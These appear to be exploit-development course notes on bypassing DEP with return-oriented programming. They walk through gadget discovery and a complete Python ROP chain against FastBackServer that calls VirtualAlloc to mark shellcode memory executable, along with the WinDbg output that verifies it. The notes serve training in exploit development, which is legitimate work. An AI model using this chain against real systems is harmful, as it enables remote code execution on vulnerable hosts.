Module 0x09
EMET = Enahnced Mitigation Experience Toolkit
WDEG = Windows Defender Exploit Guard
Enable DEP
App & Browser control > Exploit protection settings > Add Program > Choose exact file path > DEP > Override system settings
Read/Write:
Write Example:
0x6ff2A3d5 pop ecx #pop the address we want to write to
ret
0x6ff2a3e2 pop eax #pop the value we want to write
ret
0x6eec572e mov [ecx], eax #write the value to the address pointed to by ecx
pop ebp
ret
ESP -> 0x6ff2A3d5 #address of gadget 1
0xffffffff #address we want to write to
0x6ff2a3e2 #address of g2
0xdeadb33f #value we want to write
0x6eec572e #address of g3
0x41414141 #address to be poped into
Read Example:
mov eax, [ecx]
variable length instructions results in different interpretations so returning in the middle of existing opcodes will result in incorrect interpretations
2 Ret opcodes: c2/c3
Gadget Discovery:
Open source C++ tool:
rp++ https://github.com/0vercl0k/rp
Usage:
(Needs to be in the same directory)
-f file
-r max gadget size
Output is in the format of <memory address>: instruction1 ; instruction 2 ; ... ; ret ;
rp-win-x86.exe -f FastBackServer.exe -r 5 > rop.txt
Python windbg automation:
pykd https://githomelab.ru/pykd/pykd
Python osed-scripts:
https://github.com/epi052/osed-scripts
python3 find-gadgets.py -f snfs.dll -b 00 09 0a 0b 0c 0d 20
Finding mov *, ebx excluding calls:
cat found-gadgets.txt | grep -v call | grep -E 'mov ..., ebx'
Exploiting Opcode 534:
0:077> lm m FastBackServer
Browse full module list
start end module name
00400000 00c0c000 FastBackServer (deferred)
Can't use this module because the target vulnerability is a sscanf call which takes a null terminated string. Thus all rop gadgets in the above range will contain a null byte, breaking the exploit.
An alternative module (CSFTPAV6.dll) packaged with the software is found at:
start end module name
50500000 50577000 CSFTPAV6 (deferred)
Utilize narly to check ASLR/DEP on loaded modules:
.load narly
!nmod
Utilizing rp++ the dll is analyzed for rop gadgets:
rp-win-x86.exe -f csftpav6.dll -r 5 > rop.txt
Calling VirtualAlloc via ROP Gadget:
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
push 0x40; #flProtect PAGE_EXECUTE_READWRITE
push 0x00001000; #flAllocationType MEM_COMMIT
push 0x01 - 0x1000; #dwSize; can only be called per page so any value between 0x01 and 0x1000 (max page length) works
push bufferAddr; #need to assign dynamically
push KERNEL32!VirtualAllocStud; # VirtualAlloc function address; need to assign dynamically
Note flProtect/flAllocationType/dwSize all contain null bytes.
Within the example exploit these values are added with temporary dummy values:
# psCommandBuffer
va = pack("<L", (0x45454545)) # dummy VirutalAlloc Address
va += pack("<L", (0x46464646)) # Shellcode Return Address
va += pack("<L", (0x47474747)) # # dummy Shellcode Address
va += pack("<L", (0x48484848)) # dummy dwSize
va += pack("<L", (0x49494949)) # # dummy flAllocationType
va += pack("<L", (0x51515151)) # dummy flProtect
offset = b"A" * (276 - len(va))
#eip at offset 276
#esp at offset 280
eip = pack("<L", (0x50501110)) # push esp ; push eax ; pop edi; pop esi ; ret
This results in esi -> esp and edi -> eax followed by a ret meaning the stack is unchanged since before the call.
esp = pack("<L", (0x41414141)
rop = b"C" * (0x400 - 276 - 4)
formatString = b"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % (offset+va+eip+esp+rop,0,0,0,0)
Locating VirtualAlloc:
Use IDA to confirm the target dll imports VirtualAlloc via the imports window. The imports window indicates 0x5054A220 points to the Import Address Table (IAT) entry for VirtualAlloc and does not change on reboot (even with ASLR the base address does but the offset doesn't)
See Note 1*
Our goal is to move esi back to the start of our dummy arguement values + EIP (the start of our ROP gadgets):
(as 0x1c == 0x0000001c we instead add -0x1c == 0xffffffe4)
rop = pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn
rop += pack("<L", (0x42424242)) # junk to maintain stack alignment after the pop esi
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xffffffe4)) # -0x1C
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
Now eax -> esp - 0x1c (start of dummy args)
rop += pack("<L", (0x50537d5b)) # push eax ; pop esi ; ret
esi -> esp - 0x1c
rop += pack("<L", (0x5053a0f5)) # pop eax ; ret
rop += pack("<L", (0x5054A221)) # 0x5054A220 == IAT Virtual alloc entry +1 because 0x20 is a bad byte
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xffffffff)) # -1 into ecx
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret # eax -> IAT VirtualAlloc
rop += pack("<L", (0x5051f278)) # mov eax, dword [eax] ; ret #eax -> VirtualAlloc
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
esi -> esp - 0x1c (the first arguement on the stack) thus replacing the first dummy value for our call
Patching Return address:
To simulate the call to VirtualAlloc via a ret instruction the address of the next part of our execution (the shellcode) must be pushed right after the address of VirtualAlloc
esi currently -> VirtualAlloc on the stack need to increase it by 4
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
eax doesn't currently hold anything important
esi -> esp - 0x1c + 0x04
Need eax -> esi + arbitrary shellcode offset
rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret #eax -> esi
rop += pack("<L", (0x42424242)) # junk
rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret #restore esi
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xfffffdf0)) # -0x210 # arbitrary shellcode offset*
rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret # * sub negative to avoid nullbytes
eax -> shellcode
esi -> bufferAddr argument placeholder
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
push the shellcode address to our call stack
0:080> dd esi - 4
0d4de300 756e38c0 0d4de514 00000000 48484848
esi - 4 -> VirtualAlloc
esi -> Shellcode
Patching the arguements:
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
llpAddress should -> shellcode
We can reuse the previous gadget for incrementing esi and moving it into eax
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
esi -> esi + 0x04
eax -> ???
rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret
rop += pack("<L", (0x42424242)) # junk
rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret
eax -> esi
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xfffffdf4)) # -0x20c
rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret
shellcode offset == 0x210
- 4 bytes closer after incrementing esi = 0x20c
eax -> shellcode
Write eax to our arguement list:
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
0:080> dd esi - 8
0d4de300 756e38c0 0d4de514 0d4de514 48484848
dwSize:
should == 00000001
Align ESI with the next arguement:
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
Can use neg to swap 0xffffffff to 0x00000001 as it is the same as 0 - 0xffffffff:
rop += pack("<L", (0x5053a0f5)) # pop eax ; ret
rop += pack("<L", (0xffffffff)) # -1 value that is negated
rop += pack("<L", (0x50527840)) # neg eax ; ret # eax == 0x00000001
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
flAllocationType:
should == 0x1000
can't use neg as 0 - 1000 = fffff000 which contains null bytes.
instead add some arbitrary values together such as:
1000 - 0x80808080 = 7f7f8f80
80808080 + 7f7f8f80 = 00001000
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x5053a0f5)) # pop eax ; ret
rop += pack("<L", (0x80808080)) # first value to be added
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0x7f7f8f80)) # second value to be added
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
In the books example the breakpoint 'bp 0x5051579a ".if (@eax & 0x0`ffffffff) = 0x80808080 {} .else {gc}"' is used to avoid having to continue multiple times, instead opting to only break if eax == 0x80808080 (& bitwise operation used since the value is signed)
flProtect:
40 - 80808080 = 7f7f7fc0
80808080 + 7f7f7fc0 = 00000040
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x5053a0f5)) # pop eax ; ret
rop += pack("<L", (0x80808080)) # first value to be added
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0x7f7f7fc0)) # second value to be added
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
Executing VirtualAlloc:
Need to position esp to point to the function call address. Only ROP gadget available was mov esp, ebp so ebp needs to -> esi - 14 + 4 ( so the final pop ebp pops a junk value into ebp otherwise it would ruin the stack):
0:077> dd esi - 18
0109e2ec junk:41414141 VirtualAlloc:760a4da0 Retadd:0109e504 lpAddress:0109e504
0109e2fc dwSize:00000001 flAllocationType:00001000 flProtect:00000040 0109e30c
rop += pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn
rop += pack("<L", (0x42424242)) # junk
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xffffffe8)) # negative offset value
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
rop += pack("<L", (0x5051571f)) # xchg eax, ebp ; ret
rop += pack("<L", (0x50533cbf)) # mov esp, ebp ; pop ebp ; ret
Verify the call works:
Before:
!vprot 0d55e514 #address of the shellcode
Protect: 00000004 PAGE_READWRITE
After:
!vprot 0d55e514
Protect: 00000040 PAGE_EXECUTE_READWRITE
Last updated
Was this helpful?